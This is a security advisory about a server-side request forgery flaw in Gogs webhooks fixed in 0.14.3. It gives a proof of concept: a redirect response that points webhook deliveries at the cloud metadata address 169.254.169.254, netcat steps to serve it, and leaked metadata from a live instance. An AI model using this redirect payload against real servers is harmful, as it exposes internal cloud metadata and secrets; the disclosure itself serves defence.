Gogs is an open source self-hosted Git service. Prior to 0.14.3, the fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This vulnerability is fixed in 0.14.3.

GHSA-c4v7-xg93-qf8g — Gogs has SSRF in webhook deliveries

Affected: Go: gogs.io/gogs

### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.

This was already communicated in the initial report but it looks like there was a bit of a miscommunication.

### Details

By creating a webook pointing to any URL that will return the following:

``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254

### PoC

1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above

Results from running this on try.gogs:

``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ```

### Impact Server Side Request Forgery

### Fix

The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.…
